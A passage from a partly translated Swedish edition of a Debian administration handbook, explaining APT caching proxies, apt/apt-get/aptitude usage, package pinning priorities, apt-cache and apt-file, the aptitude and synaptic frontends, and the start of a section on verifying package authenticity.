6.1.6. Cachingproxy för Debian-paket

When an entire network of machines is configured to use the same remote server to download the same updated packages, any administrator knows that it would be beneficial to have an intermediate proxy acting as a network-local cache (see sidebar ORDFÖRRÅD Cache).

You can configure APT to use a "standard" proxy (see Avsnitt 6.2.4, ”Konfigurationsalternativ” for the APT side, and Avsnitt 11.6, ”HTTP/FTP Proxy” for the proxy side), but the Debian ecosystem offers better options to solve this problem. The dedicated software presented in this section are smarter than a plain proxy cache because they can rely on the specific structure of APT repositories (for instance they know when individual files are obsolete or not, and thus adjust the time during which they are kept).

apt-cacher and apt-cacher-ng work like usual proxy cache servers. APT's sources.list is left unchanged, but APT is configured to use them as proxy for outgoing requests.

approx, on the other hand, acts like an HTTP server that “mirrors” any number of remote repositories in its top-level URLs. The mapping between those top-level directories and the remote URLs of the repositories is stored in /etc/approx/approx.conf:

# <name> <repository-base-url> debian https://deb.debian.org/debian security http://security.debian.org/debian-security

approx runs by default on port 9999 via a systemd socket and requires the users to adjust their sources.list file to point to the approx server:

# Sample sources.list pointing to a local approx server deb http://localhost:9999/security bullseye-security main contrib non-free deb http://localhost:9999/debian bullseye main contrib non-free

6.2. aptitude, apt-get, och apt Kommandon

APT is a vast project, whose original plans included a graphical interface. It is based on a library which contains the core application, and apt-get is the first front end — command-line based — which was developed within the project. apt is a second command-line based front end provided by APT which overcomes some design mistakes of apt-get.

Both tools are built on top of the same library and are thus very close, but the default behavior of apt has been improved for interactive use and to actually do what most users expect. The APT developers reserve the right to change the public interface of this tool to further improve it. Conversely, the public interface of apt-get is well defined and will not change in any backwards incompatible way. It is thus the tool that you want to use when you need to script package installation requests.

Numerous other graphical interfaces then appeared as external projects: synaptic, aptitude (which includes both a text mode interface and a graphical one — even if not complete yet), wajig, etc. The most recommended interface, apt, is the one that we will use in the examples given in this section. Note, however, that apt-get and aptitude have a very similar command line syntax. When there are major differences between these three commands, these will be detailed.

6.2.1. Initiering

For any work with APT, the list of available packages needs to be updated; this can be done simply through apt update. Depending on the speed of your connection and configuration, the operation can take a while, since it involves downloading a certain number of (usually compressed) files (Packages, Sources, Translation-language-code), which have gradually become bigger and bigger as Debian has developed (at least 10-16 MB of data for the main section). Of course, installing from a CD-ROM/DVD set does not require any downloading — in this case, the operation is very fast.

TIPS Inkrementella uppdateringar

The aim of the apt update command is to download for each package source the corresponding Packages (or Sources) file. However, even after a xz compression, these files can remain rather large (the Packages.xz for the main section of Unstable takes more than 8 MB). If you wish to update regularly, these downloads can take up a lot of time.

To speed up the process, APT can download “diff” files containing the changes since the previous update, as opposed to the entire file. To achieve this, official Debian mirrors distribute different files which list the differences between one version of the Packages file and the following version. They are generated at each update of the archives and a history of one week is kept. Each of these “diff” files only takes a few dozen kilobytes for Unstable, so that the amount of data downloaded by a weekly apt update is often divided by 10. For Stable and Testing, which change less, the gain is even more noticeable.

However, it can sometimes be of interest to force the download of the entire Packages file, especially when the last upgrade is very old and when the mechanism of incremental differences would not contribute much. This can also be interesting when network access is very fast but when the processor of the machine to upgrade is rather slow, since the time saved on the download is more than lost when the computer calculates the new versions of these files (starting with the older versions and applying the downloaded differences). To do that, you can use the APT configuration parameter Acquire::PDiffs and set it to false.

$ sudo apt -o "Acquire::PDiffs=false" update

The Acquire::* options also control other aspects of the download, and even the download methods. Acquire::Languages can limit or disable the download of Translation-language-code files and save even more time. For a complete reference see apt.conf(5).

6.2.2. Installera och ta bort

With APT, packages can be added or removed from the system, respectively with apt install package and apt remove package. In both cases, APT will automatically install the necessary dependencies or delete the packages which depend on the package that is being removed. The apt purge package command involves a complete uninstallation by deleting the configuration files as well.

TIPS Installera samma urval av paket flera gånger

Det kan vara användbart att systematiskt installera samma paketlista på flera datorer. Detta kan göras ganska enkelt.

First, retrieve the list of packages installed on the computer which will serve as the “model” to copy.

$ dpkg --get-selections >pkg-list

The pkg-list file then contains the list of installed packages. Next, transfer the pkg-list file onto the computers you want to update and use the following commands:

## Update dpkg's database of known packages # avail=`mktemp` # apt-cache dumpavail > "$avail" # dpkg --merge-avail "$avail" # rm -f "$avail" ## Update dpkg's selections # dpkg --set-selections < pkg-list ## Ask apt-get to install the selected packages # apt-get dselect-upgrade

The first commands record the list of available packages in the dpkg database. Then dpkg --set-selections restores the selection of packages that you wish to install, and the apt-get invocation executes the required operations! aptitude does not have this command.

TIPS Ta bort och installera samtidigt

It is possible to ask apt (or apt-get, or aptitude) to install certain packages and remove others on the same command line by adding a suffix. With an apt install command, add “-” to the names of the packages you wish to remove. With an apt remove command, add “+” to the names of the packages you wish to install.

Nästa exempel visar två olika sätt att installera paket1 och att ta bort paket2.

# apt install paket1 paket2-

# apt remove paket1+ paket2

This can also be used to exclude packages which would otherwise be installed, for example, due to an automatic installation of Recommends. In general, the dependency solver will use that information as a hint to look for alternative solutions.

TIPSapt --reinstall och aptitude reinstall

The system can sometimes be damaged after the removal or modification of files in a package. The easiest way to retrieve these files is to reinstall the affected package. Unfortunately, the packaging system finds that the latter is already installed and politely refuses to reinstall it; to avoid this, use the --reinstall option of the apt and apt-get commands. The following command reinstalls postfix even if it is already present:

# apt --reinstall install postfix

The aptitude command line is slightly different, but achieves the same result with aptitude reinstall postfix.

Problemet uppstår inte med dpkg, men administratören använder det sällan direkt.

Be careful! Using apt --reinstall to restore packages modified during an attack will certainly not recover the system as it was. Avsnitt 14.7, ”Hantera en komprometterad maskin” details the necessary steps to take with a compromised system.

These commands will not restore the configuration files. But as you have learned in Avsnitt 5.2.3, ”Checksums, List of Configuration Files, et al.” (see also sidebar UTVECKLA Tvinga dpkg att ställa frågor om konfigurationsfiler), you can use the following command to be asked to install the unmodified version and even restore any deleted configuration file as well.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install paket

Some packages don't ship the configuration file found in /etc with the package. Instead they create it during installation by either copying a skeleton or writing it by a script. The file /etc/inputrc, for example, is a copy of /usr/share/readline/inputrc. In such cases the commands shown above won't work.

If the file sources.list mentions several distributions, it is possible to give the version of the package to install. A specific version number can be requested with apt install package=version, but indicating its distribution of origin (Stable, Testing or Unstable) — with apt install package/distribution — is usually preferred. With this command, it is possible to go back to an older version of a package (if, for instance, you know that it works well), provided that it is still available in one of the sources referenced by the sources.list file. Otherwise the snapshot.debian.org archive can come to the rescue (see sidebar GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org).

Exempel 6.4. Installation av Unstable version av spamassassin

# apt install spamassassin/unstable

If the package to install has been made available to you under the form of a simple .deb file without any associated package repository, it is still possible to use APT to install it together with its dependencies (provided that the dependencies are available in the configured repositories) with a simple command: apt install ./path-to-the-package.deb. The leading ./ is important to make it clear that we are referring to a filename and not to the name of a package available in one of the repositories.

GÅ VIDARE cachen av .deb filer

APT keeps a copy of each downloaded .deb file in the directory /var/cache/apt/archives/. In case of frequent updates, this directory can quickly take a lot of disk space with several versions of each package; you should regularly sort through them. Two commands can be used: apt-get clean entirely empties the directory; apt-get autoclean only removes packages which can no longer be downloaded (because they have disappeared from the Debian mirror) and are therefore clearly useless (the configuration parameter APT::Clean-Installed can prevent the removal of .deb files that are currently installed).

6.2.3. Systemuppgradering

Regular upgrades are recommended, because they include the latest security updates. To upgrade, use apt upgrade, apt-get upgrade or aptitude safe-upgrade (of course after apt update). This command looks for installed packages which can be upgraded without removing any packages. In other words, the goal is to ensure the least intrusive upgrade possible. apt-get is slightly more demanding than aptitude or apt because it will refuse to install packages which were not installed beforehand.

apt will generally select the most recent version number (except for packages from Experimental and stable-backports, which are ignored by default whatever their version number). If you specified Testing or Unstable in your sources.list, apt upgrade will switch most of your Stable system to Testing or Unstable, which might not be what you intended.

To tell apt to use a specific distribution when searching for upgraded packages, you need to use the -t or --target-release option, followed by the name of the distribution you want (for example, apt -t stable upgrade). To avoid specifying this option every time you use apt, you can add APT::Default-Release "stable"; in the file /etc/apt/apt.conf.d/local.

For more important upgrades, such as the change from one major Debian version to the next, you need to use apt full-upgrade. With this instruction, apt will complete the upgrade even if it has to remove some obsolete packages or install new dependencies. This is also the command used by users who work daily with the Debian Unstable release and follow its evolution day by day. It is so simple that it hardly needs explanation: APT's reputation is based on this great functionality.

Unlike apt and aptitude, apt-get doesn't know the full-upgrade command. Instead, you should use apt-get dist-upgrade (”distribution upgrade”), the historical and well-known command that apt and aptitude also accept for the convenience of users who got used to it.

The results of these operations are logged into /var/log/apt/history.log and /var/log/apt/term.log, whereas dpkg keeps its log in a file called /var/log/dpkg.log.

6.2.4. Konfigurationsalternativ

Besides the configuration elements already mentioned, it is possible to configure certain aspects of APT by adding directives in a file of the /etc/apt/apt.conf.d/ directory or /etc/apt/apt.conf itself. Remember, for instance, that it is possible for APT to tell dpkg to ignore file conflict errors by specifying DPkg::options { "--force-overwrite"; }.

If the Web can only be accessed through a proxy, add a line like Acquire::http::proxy "http://yourproxy:3128". For an FTP proxy, write Acquire::ftp::proxy "ftp://yourproxy". To discover more configuration options, read the apt.conf(5) manual page (for details on manual pages, see Avsnitt 7.1.1, ”Manualsidor”).

TILLBAKA TILL GRUNDERNA Kataloger som slutar på .d

Directories with a .d suffix are used more and more often. Each directory represents a configuration file which is split over multiple files. In this sense, all of the files in /etc/apt/apt.conf.d/ are instructions for the configuration of APT. APT includes them in alphabetical order, so that the last ones can modify a configuration element defined in one of the first ones.

This structure brings some flexibility to the machine administrator and to the package maintainers. Indeed, the administrator can easily modify the configuration of the software by adding a ready-made file in the directory in question without having to change an existing file. Package maintainers use the same approach when they need to adapt the configuration of another software to ensure that it perfectly co-exists with theirs. The Debian policy explicitly forbids modifying configuration files of other packages — only users are allowed to do this. Remember that during a package upgrade, the user gets to choose the version of the configuration file that should be kept when a modification has been detected. Any external modification of the file would trigger that request, which would disturb the administrator, who is sure not to have changed anything.

Without a .d directory, it is impossible for an external package to change the settings of a program by modifying its configuration file directly. Instead it must either invite the user to do it themselves and lists the operations to be done in the file /usr/share/doc/package/README.Debian, or it must create a file diversion for the configuration file using the dpkg-divert command and then install its own configuration file for the software in question. The latter is sometimes used by third party packages which try to handle configuration files of software components they use.

Depending on the application, the .d directory is used directly or managed by an external script which will concatenate all the files to create the configuration file itself. It is important to execute the script after any change in that directory so that the most recent modifications are taken into account. In the same way, it is important not to work directly in the configuration file created automatically, since everything would be lost at the next execution of the script. The chosen method (.d directory used directly or a file generated from that directory) is usually dictated by implementation constraints, but in both cases the gains in terms of configuration flexibility more than make up for the small complications that they entail. The Exim 4 mail server is an example of the generated file method: it can be configured through several files (/etc/exim4/conf.d/*) which are concatenated into /var/lib/exim4/config.autogenerated by the update-exim4.conf command.

6.2.5. Hantera paketprioriteringar

One of the most important aspects in the configuration of APT is the management of the priorities associated with each package source. For instance, you might want to extend one distribution with one or two newer packages from Testing, Unstable or Experimental. It is possible to assign a priority to each available package (the same package can have several priorities depending on its version or the distribution providing it). These priorities will influence APT's behavior: for each package, it will always select the version with the highest priority (except if this version is older than the installed one and if its priority is less than 1000).

APT defines several default priorities. Each installed package version has a priority of 100. A non-installed version has a priority of 500 by default, but it can jump to 990 if it is part of the target release (defined with the -t command-line option or the APT::Default-Release configuration directive).

You can modify the priorities by adding entries in a file in /etc/apt/preferences.d/ or the /etc/apt/preferences file with the names of the affected packages, their version, their origin and their new priority.

APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000 (or it is explicitly requested by the user, see Avsnitt 6.2.2, ”Installera och ta bort”). APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).

Mer konkret, ett paket vars prioritet är

< 0

kommer aldrig att installeras,

1..99

kommer bara att installeras om ingen annan version av paketet redan är installerat,

100..499

kommer bara att installeras om det inte finns någon annan nyare version installerad eller tillgänglig i en annan distribution,

500....989

kommer bara att installeras om det inte finns någon nyare version installerad eller tillgänglig i måldistributionen,

990..1000

kommer att installeras förutom om den installerade versionen är nyare,

> 1000

kommer alltid att installeras, även om det tvingar APT att nedgradera till en äldre version.

When APT checks /etc/apt/preferences and /etc/apt/preferences.d/, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including, for example, all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release file that APT downloads together with the Packages files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example, 11 for Debian Bullseye). Let's have a look at its syntax through some realistic case studies of this mechanism.

SPECIFIKT FALL Prioritet för experimental

If you listed Experimental in your sources.list file, the corresponding packages will almost never be installed because their default APT priority is 1. This is of course a specific case, designed to keep users from installing Experimental packages by mistake. The packages can only be installed by typing aptitude install package/experimental — users typing this command can only be aware of the risks that they take. It is still possible (though not recommended) to treat packages of Experimental like those of other distributions by giving them a priority of 500. This is done with a specific entry in /etc/apt/preferences:

Package: * Pin: release a=experimental Pin-Priority: 500

Let's suppose that you only want to use packages from the stable version of Debian. Those provided in other versions should not be installed except if explicitly requested. You could write the following entries in the /etc/apt/preferences file:

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

a=stable definierar namnet på den valda distributionen. o=Debianbegränsar omfattningen till paket vars ursprung är “Debian”.

Let's now assume that you have a server with several local programs depending on the version 5.28 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:

Package: perl Pin: version 5.28* Pin-Priority: 1001

To gain a better understanding of the mechanisms of priority and distribution or repository properties to pin do not hesitate to execute apt-cache policy to display the default priority associated with each package source, or apt-cache policy package to display the default priority for each available version and source of a package as explained in Avsnitt 6.3.1, ”The apt-cache policy Command”.

The reference documentation for the files /etc/apt/preferences and /etc/apt/preferences.d/ is available in the manual page apt_preferences(5), which you can display with man apt_preferences.

TIPS Kommentarer i /etc/apt/preferences

There is no official syntax to put comments in the /etc/apt/preferences file, but some textual descriptions can be provided by putting one or more “Explanation” fields at the start of each entry:

Explanation: The package xserver-xorg-video-intel provided Explanation: in experimental can be used safely Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. Arbeta med flera distributioner

apt being such a marvelous tool, it is tempting to pick packages coming from other distributions. For example, after having installed a Stable system, you might want to try out a software package available in Testing or Unstable without diverging too much from the system's initial state.

Even if you will occasionally encounter problems while mixing packages from different distributions, apt manages such coexistence very well and limits risks very effectively. The best way to proceed is to list all distributions used in /etc/apt/sources.list (some people always put the three distributions, but remember that Unstable is reserved for experienced users) and to define your reference distribution with the APT::Default-Release parameter (see Avsnitt 6.2.3, ”Systemuppgradering”).

Let's suppose that Stable is your reference distribution but that Testing and Unstable are also listed in your sources.list file. In this case, you can use apt install package/testing to install a package from Testing. If the installation fails due to some unsatisfiable dependencies, let it solve those dependencies within Testing by adding the -t testing parameter. The same obviously applies to Unstable.

In this situation, upgrades (upgrade and full-upgrade) are done within Stable except for packages already upgraded to another distribution: those will follow updates available in the other distributions. We will explain this behavior with the help of the default priorities set by APT below. Do not hesitate to use apt-cache policy (Avsnitt 6.3.1, ”The apt-cache policy Command”) to verify the given priorities.

Everything centers around the fact that APT only considers packages of higher or equal version than the installed one (assuming that /etc/apt/preferences has not been used to force priorities higher than 1000 for some packages).

Let's assume that you have installed version 1 of a first package from Stable and that version 2 and 3 are available respectively in Testing and Unstable. The installed version has a priority of 100 but the version available in Stable (the very same) has a priority of 990 (because it is part of the target release). Packages in Testing and Unstable have a priority of 500 (the default priority of a non-installed version). The winner is thus version 1 with a priority of 990. The package “stays in Stable”.

Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable. If you don't want a package installed from Testing to migrate to the version in Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences to this effect:

Package: * Pin: release a=unstable Pin-Priority: 490

6.2.7. Spåra automatiskt installerade paket

One of the essential functionalities of apt is the tracking of packages installed only through dependencies. These packages are called “automatic”, and often include libraries.

With this information, when packages are removed, the package managers can compute a list of automatic packages that are no longer needed (because there is no “manually installed” packages depending on them). apt-get autoremove or apt autoremove will get rid of those packages. aptitude does not have this command because it removes them automatically as soon as they are identified. In all cases, the tools display a clear message listing the affected packages.

It is a good habit to mark as automatic any package that you don't need directly so that they are automatically removed when they aren't necessary anymore. apt-mark auto package will mark the given package as automatic whereas apt-mark manual package does the opposite. aptitude markauto and aptitude unmarkauto work in the same way although they offer more features for marking many packages at once (see Avsnitt 6.5.1, ”aptitude”). The console-based interactive interface of aptitude also makes it easy to review the “automatic flag” on many packages.

People might want to know why an automatically installed package is present on the system. To get this information from the command line, you can use aptitude why package (apt and apt-get have no similar feature):

$ aptitude why python3-debian i aptitude Suggests apt-xapian-index p apt-xapian-index Depends python3-debian (>= 0.1.14)

ALTERNATIVdeborphan och debfoster

In days where apt, apt-get and aptitude were not able to track automatic packages, there were two utilities producing lists of unnecessary packages: deborphan and debfoster. Both can still be useful.

deborphan scans the libs and oldlibs sections by default (in the absence of supplementary instructions) looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.

debfoster has a more elaborate approach, very similar to APT's one: it maintains a list of packages that have been explicitly installed, and remembers what packages are really required between each invocation. If new packages appear on the system and if debfoster doesn't know them as required packages, they will be shown on the screen together with a list of their dependencies. The program then offers a choice: remove the package (possibly together with those that depend on it), mark it as explicitly required, or ignore it temporarily.

6.2.8. APT Patterns

Patterns allow you to specify complex search queries to select the packages you want to install or show. They were first implemented for aptitude (see Avsnitt 6.5, ”Frontends: aptitude, synaptic”), but now APT can also make use of them.

For example, we can use apt list ?automatic to list all the packages automatically installed. To find packages automatically installed no longer depended upon by manually installed packages the pattern ?garbage can be used.

Logic patterns can be combined with other packages to form more complex expressions. For instance, we could use a pattern like ?and(PATTERN, PATTERN). See apt-patterns(7) and glob(7) for all the patterns you can use and the complex expressions you can create with them.

6.3. apt-cache Kommandot

The apt-cache command can display much of the information stored in APT's internal database. This information is a sort of cache since it is gathered from the different sources listed in the sources.list file. This happens during the apt update operation.

ORDFÖRRÅD Cache

A cache is a temporary storage system used to speed up frequent data access when the usual access method is expensive (performance-wise). This concept can be applied in numerous situations and at different scales, from the core of microprocessors up to high-end storage systems.

In the case of APT, the reference Packages files are those located on Debian mirrors. That said, it would be very ineffective to go through the network for every search that we might want to do in the database of available packages. That is why APT stores a copy of those files (in /var/lib/apt/lists/) and searches are done within those local files. Similarly, /var/cache/apt/archives/ contains a cache of already downloaded packages (see sidebar GÅ VIDARE cachen av .deb filer) to avoid downloading them again if you need to reinstall them after a removal.

On the other hand, it is mandatory to run apt update regularly to update the cache. Otherwise your package search results will always miss the latest updates distributed by the Debian mirrors.

The apt-cache command can do keyword-based package searches with apt-cache search keyword. It can also display the headers of the package's available versions with apt-cache show package. This command provides the package's description, its dependencies, the name of its maintainer, etc. Note that apt search, apt show, aptitude search, and aptitude show work in the same way.

ALTERNATIVaxi-cache

apt-cache search is a very rudimentary tool, basically implementing grep on package's descriptions. It often returns too many results or none at all when you include too many keywords.

axi-cache search term, on the other hand, provides better results, sorted by relevancy. It uses the Xapian search engine and is part of the apt-xapian-index package which indexes all package information (and more, like the .desktop files from all Debian packages). It knows about tags (see sidebar UTVECKLA Fältet Tag) and returns results in a matter of milliseconds.

$ axi-cache search package use::searching axi-cache search package use::searching 13 results found. Results 1-13: 100% packagesearch - GUI for searching packages and viewing package information 87% debtags - Debian Package Tags support tools 86% whohas - query multiple distributions' package archives 84% recoll - Personal full text search package 82% apt-forktracer - utility for tracking non-official package versions [..] 66% apt - commandline package manager More terms: debian dpkg search debtags whohas forktracer dctrl More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http

Some features are more rarely used. For instance, apt-cache dumpavail displays the headers of all available versions of all packages. apt-cache pkgnames displays the list of all the packages which appear at least once in the cache.

One of the features which might come in handy more often is apt-cache policy, described in the following section.

6.3.1. The apt-cache policy Command

The apt-cache policy command displays the pinning priorities and distribution properties of each package source as explained in Avsnitt 6.2.5, ”Hantera paketprioriteringar”. It can also show the pinning priorities for all available versions and sources of a package. For the sources.list example used in Exempel 6.2, ”/etc/apt/sources.list fil för användare av Debian Stable” and APT::Default-Release set to "bullseye", the output will look like this:

$ apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/non-free amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/contrib amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/main amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64 origin deb.debian.org 500 http://security.debian.org bullseye-security/main amd64 Packages release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64 origin security.debian.org Pinned packages:

apt-cache policy can also show the pinning priorities for all available versions and sources of a given package.

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.06.15-1 Version table: 2021.07.21-1~bpo11+1 100 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

Although there is a newer version of limnoria in the bullseye-backports repository, APT will not install it automatically based on the priority. One would have to use apt install limnoria/bullseye-backports or add a higher pinning priority to /etc/apt/preferences.d/limnoria.pref:

Package: limnoria Pin: release o=Debian Backports, a=bullseye-backports Pin-Priority: 1001

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.07.21-1~bpo11+1 Version table: 2021.07.21-1~bpo11+1 1001 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

6.4. apt-file Kommandot

Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named Contents-arch.gz and Contents-udeb-arch.gz. This information is not automatically downloaded by APT. Instead it needs the apt-file update command (from the similar named package) to retrieve the contents of all package sources mentioned in /etc/apt/sources.list. By default it downloads Contents*.pdiff files as described in sidebar TIPS Inkrementella uppdateringar to reduce the amount of data necessary to be downloaded. To update the database on a weekly base, the following entry can be added to /etc/crontab if convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

After the database has been updated, the command apt-file search pattern will list all packages, which contain a filename or path containing the pattern.

$ apt-file search bin/axi-cache apt-xapian-index: /usr/bin/axi-cache

Kommandot apt-file list paket kommer att lista alla filer som levererades med paketet istället.

TIP Listing a package contents and finding a file's package

Similar to apt-file list the command dpkg -L package lists all files, but only for an installed package. To find the package, a local file belongs to, use dpkg -S file (see Avsnitt 5.4.3, ”Undersöka dpkg's databas och inspektera .deb filer”). To list all local files not belonging to any installed package, you might want to take a look at the cruft or the cruft-ng package.

6.5. Frontends: aptitude, synaptic

APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (frontends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test frontend for libapt-pkg but its success tends to obscure this fact.

6.5.1. aptitude

aptitude is an interactive program that can be used in semi-graphical mode on the console. You can browse the list of installed and available packages, look up all the available information, and select packages to install or remove. The program is designed specifically to be used by administrators, so that its default behaviors are designed to be much more intelligent than apt-get's, and its interface much easier to understand.

Figur 6.1. aptitude pakethanteraren

When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or installed but not available on the mirrors — other sections display tasks, virtual packages, and new packages that appeared recently on mirrors). To facilitate thematic browsing, other views are available. In all cases, aptitude displays a list combining categories and packages on the screen. Categories are organized through a tree structure, whose branches can respectively be unfolded or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to mark it for removal and _ to purge it (note that these keys can also be used for categories, in which case the corresponding actions will be applied to all the packages of the category). u updates the lists of available packages and Shift+u prepares a global system upgrade. g switches to a summary view of the requested changes (and typing g again will apply the changes), and q quits the current view. If you are in the initial view, this will effectively close aptitude.

DOKUMENTATIONaptitude

This section does not cover the finer details of using aptitude. It rather focuses on giving you a survival kit to use it. But it is well documented and we advise you to use its complete manual available in the aptitude-doc-en package (see /usr/share/doc/aptitude/html/en/index.html) or at https://www.debian.org/doc/manuals/aptitude/.

To search for a package, you can type / followed by a search pattern. This pattern matches the name of the package, but can also be applied to the description (if preceded by ~d), to the section (with ~s) or to other characteristics detailed in the documentation. The same patterns can filter the list of displayed packages: type the l key (as in limit) and enter the pattern.

Managing the “automatic flag” of Debian packages (see Avsnitt 6.2.7, ”Spåra automatiskt installerade paket”) is a breeze with aptitude. It is possible to browse the list of installed packages and mark packages as automatic with Shift+m or to remove the mark with the m key. “Automatic packages” are displayed with an “A” in the list of packages. This feature also offers a simple way to visualize the packages in use on a machine, without all the libraries and dependencies that you don't really care about. The related pattern that can be used with l (to activate the filter mode) is ~i!~M. It specifies that you only want to see installed packages (~i) not marked as automatic (!~M).

VERKTYG Använda aptitude i kommandoradsgränssnittet

Most of aptitude's features are accessible via the interactive interface as well as via command-lines. These command-lines will seem familiar to regular users of apt-get and apt-cache.

The advanced features of aptitude are also available on the command-line. You can use the same package search patterns as in the interactive version. For example, if you want to cleanup the list of “manually installed” packages, and if you know that none of the locally installed programs require any particular libraries or Perl modules, you can mark the corresponding packages as automatic with a single command:

# aptitude markauto '~slibs|~sperl'

Here, you can clearly see the power of the search pattern system of aptitude, which enables the instant selection of all the packages in the libs and perl sections.

Beware, if some packages are marked as automatic and if no other package depends on them, they will be removed immediately (after a confirmation request).

6.5.1.1. Hantera Rekommendationer, Förslag och Uppgifter

Another interesting feature of aptitude is the fact that it respects recommendations between packages while still giving users the choice not to install them on a case by case basis. For example, the gnome package recommends transmission-gtk (among others). When you select the former for installation, the latter will also be selected (and marked as automatic if not already installed on the system). Typing g will make it obvious: transmission-gtk appears on the summary screen of pending actions in the list of packages installed automatically to satisfy dependencies. However, you can decide not to install it by deselecting it before confirming the operations.

Note that this recommendation tracking feature does not apply to upgrades. For instance, if a new version of gnome recommends a package that it did not recommend formerly, the package won't be marked for installation. However, it will be listed on the upgrade screen so that the administrator can still select it for installation.

Suggestions between packages are also taken into account, but in a manner adapted to their specific status. For example, since gnome suggests empathy, the latter will be displayed on the summary screen of pending actions (in the section of packages suggested by other packages). This way, it is visible and the administrator can decide whether to take the suggestion into account or not. Since it is only a suggestion and not a dependency or a recommendation, the package will not be selected automatically — its selection requires a manual intervention from the user (thus, the package will not be marked as automatic).

In the same spirit, remember that aptitude makes intelligent use of the concept of task. Since tasks are displayed as categories in the screens of packages lists, you can either select a full task for installation or removal, or browse the list of packages included in the task to select a smaller subset.

6.5.1.2. Bättre lösningsalgoritmer

To conclude this section, let's note that aptitude has more elaborate algorithms compared to apt-get when it comes to resolving difficult situations. When a set of actions is requested and when these combined actions would lead to an incoherent system, aptitude evaluates several possible scenarios and presents them in order of decreasing relevance. However, these algorithms are not fail-proof. Fortunately there is always the possibility to manually select the actions to perform. When the currently selected actions lead to contradictions, the upper part of the screen indicates a number of “broken” packages (and you can directly navigate to those packages by pressing b). It is then possible to manually build a solution for the problems found. In particular, you can get access to the different available versions by simply selecting the package with Enter. If the selection of one of these versions solves the problem, you should not hesitate to use the function. When the number of broken packages gets down to zero, you can safely go to the summary screen of pending actions for a last check before you apply them.

OBSaptitude 's logg

Like dpkg, aptitude keeps a trace of executed actions in its logfile (/var/log/aptitude). However, since both commands work at a very different level, you cannot find the same information in their respective logfiles. While dpkg logs all the operations executed on individual packages step by step, aptitude gives a broader view of high-level operations like a system-wide upgrade.

Beware, this logfile only contains a summary of operations performed by aptitude. If other frontends (or even dpkg itself) are occasionally used, then aptitude's log will only contain a partial view of the operations, so you can't rely on it to build a trustworthy history of the system.

6.5.2. synaptic

synaptic is a graphical package manager for Debian which features a clean and efficient graphical interface based on GTK+/GNOME. Its many ready-to-use filters give fast access to newly available packages, installed packages, upgradable packages, obsolete packages and so on. If you browse through these lists, you can select the operations to be done on the packages (install, upgrade, remove, purge); these operations are not performed immediately, but put into a task list. A single click on a button then validates the operations, and they are performed in one go.

Figur 6.2. synaptic pakethanterare

6.6. Kontrollerar paketets äkthet

Security is very important for Falcot Corp administrators. Accordingly, they need to ensure that they only install packages which are guaranteed to come from Debian with no tampering on the way. A computer cracker could try to add malicious code to an otherwise legitimate package. Such a package, if installed, could do anything the cracker designed it to do, including for instance disclosing passwords or confidential information. To circumvent this risk, Debian provides a tamper-proof seal to guarantee — at install time — that a package really comes from its official maintainer and hasn't been modified by a third party.

The seal works with a chain of cryptographic hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

NOTE The future of Release and Release.gpg

